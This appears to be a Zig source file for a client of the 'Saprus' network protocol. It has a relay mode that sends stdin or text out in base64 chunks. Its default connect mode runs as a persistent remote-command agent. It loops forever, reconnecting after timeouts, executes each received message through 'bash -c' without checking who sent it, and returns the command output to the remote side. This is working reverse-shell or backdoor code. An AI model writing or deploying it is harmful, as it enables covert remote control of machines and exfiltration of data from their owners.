const is_debug = builtin.mode == .Debug;

const help =
    \\-h, --help           Display this help and exit.
    \\-r, --relay <str>    A relay message to send.
    \\-d, --dest <str>     An IPv4 or <= 4 ASCII byte string.
    \\-c, --connect <str>  A connection message to send.
    \\
;

const Option = enum { help, relay, dest, connect };
const to_option: StaticStringMap(Option) = .initComptime(.{
    .{ "-h", .help },
    .{ "--help", .help },
    .{ "-r", .relay },
    .{ "--relay", .relay },
    .{ "-d", .dest },
    .{ "--dest", .dest },
    .{ "-c", .connect },
    .{ "--connect", .connect },
});

pub fn main(init: std.process.Init) !void {
    // CLI parsing adapted from the example here
    // https://codeberg.org/ziglang/zig/pulls/30644

    const args = try init.minimal.args.toSlice(init.arena.allocator());

    var flags: struct {
        relay: ?[]const u8 = null,
        dest: ?[]const u8 = null,
        connect: ?[]const u8 = null,
    } = .{};

    if (args.len == 1) {
        flags.connect = "";
    } else {
        var i: usize = 1;
        while (i < args.len) : (i += 1) {
            if (to_option.get(args[i])) |opt| {
                switch (opt) {
                    .help => {
                        std.debug.print("{s}", .{help});
                        return;
                    },
                    .relay => {
                        i += 1;
                        if (i < args.len) {
                            flags.relay = args[i];
                        } else {
                            flags.relay = "";
                        }
                    },
                    .dest => {
                        i += 1;
                        if (i < args.len) {
                            flags.dest = args[i];
                        } else {
                            std.debug.print("-d/--dest requires a string\n", .{});
                            return error.InvalidArguments;
                        }
                    },
                    .connect => {
                        i += 1;
                        if (i < args.len) {
                            flags.connect = args[i];
                        } else {
                            flags.connect = "";
                        }
                    },
                }
            } else {
                std.debug.print("Unknown argument: {s}\n", .{args[i]});
                return error.InvalidArguments;
            }
        }
    }

    if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
        std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
        return error.InvalidArguments;
    }

    var client: SaprusClient = undefined;

    if (flags.relay != null) {
        client = try .init();
        defer client.deinit();
        var chunk_writer_buf: [2048]u8 = undefined;
        var chunk_writer: Writer = .fixed(&chunk_writer_buf);
        if (flags.relay.?.len > 0) {
            var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
            while (output_iter.next()) |chunk| {
                chunk_writer.end = 0;
                try chunk_writer.print("{b64}", .{chunk});
                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
                try init.io.sleep(.fromMilliseconds(40), .boot);
            }
        } else {
            var stdin_file: std.Io.File = .stdin();
            var stdin_file_reader = stdin_file.reader(init.io, &.{});
            var stdin_reader = &stdin_file_reader.interface;
            var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
            var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
            var stdin = &limited.interface;

            while (stdin.fillMore()) {
                // Sometimes fillMore will return 0 bytes.
                // Skip these
                if (stdin.seek == stdin.end) continue;

                chunk_writer.end = 0;
                try chunk_writer.print("{b64}", .{stdin.buffered()});
                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
                try init.io.sleep(.fromMilliseconds(40), .boot);
                try stdin.discardAll(stdin.end);
            } else |err| switch (err) {
                error.EndOfStream => {
                    log.debug("end of stdin", .{});
                },
                else => |e| return e,
            }
        }
        return;
    }

    var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined;
    var w: Writer = .fixed(&init_con_buf);
    try w.print("{b64}", .{flags.connect.?});

    if (flags.connect != null) {
        reconnect: while (true) {
            client = try .init();
            defer client.deinit();
            log.debug("Starting connection", .{});

            try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
            var connection = client.connect(init.io, w.buffered()) catch {
                log.debug("Connection timed out", .{});
                continue;
            };

            log.debug("Connection started", .{});

            next_message: while (true) {
                var res_buf: [2048]u8 = undefined;
                try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
                const next = connection.next(init.io, &res_buf) catch {
                    continue :reconnect;
                };

                const b64d = std.base64.standard.Decoder;
                var connection_payload_buf: [2048]u8 = undefined;
                const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
                b64d.decode(connection_payload, next) catch {
                    log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
                    continue;
                };

                var child = std.process.spawn(init.io, .{
                    .argv = &.{ "bash", "-c", connection_payload },
                    .stdout = .pipe,
                    .stderr = .pipe,
                }) catch continue;

                var child_stdout: std.ArrayList(u8) = .empty;
                defer child_stdout.deinit(init.gpa);
                var child_stderr: std.ArrayList(u8) = .empty;
                defer child_stderr.deinit(init.gpa);

                child.collectOutput(init.gpa, &child_stdout, &child_stderr, std.math.maxInt(usize)) catch |err| {
                    log.debug("Failed to collect output: {t}", .{err});
                    continue;
                };
                _ = try child.wait(init.io);

                var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
                var cmd_output: Writer = .fixed(&cmd_output_buf);

                var cmd_output_window_iter = std.mem.window(u8, child_stdout.items, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
                while (cmd_output_window_iter.next()) |chunk| {
                    cmd_output.end = 0;
                    // Unreachable because the cmd_output_buf is twice the size of the chunk.
                    cmd_output.print("{b64}", .{chunk}) catch unreachable;
                    connection.send(init.io, cmd_output.buffered()) catch |err| {
                        log.debug("Failed to send connection chunk: {t}", .{err});
                        continue :next_message;
                    };
                    try init.io.sleep(.fromMilliseconds(40), .boot);
                }
            }
        }
    }

    unreachable;
}

fn parseDest(in: ?[]const u8) [4]u8 {
    if (in) |dest| {
        if (dest.len <= 4) {
            var res: [4]u8 = @splat(0);
            @memcpy(res[0..dest.len], dest);
            return res;
        }

        const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
        return addr.bytes;
    }
    return "disc".*;
}

const builtin = @import("builtin");
const std = @import("std");
const log = std.log;
const ArrayList = std.ArrayList;
const StaticStringMap = std.StaticStringMap;

const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message;

const Writer = std.Io.Writer;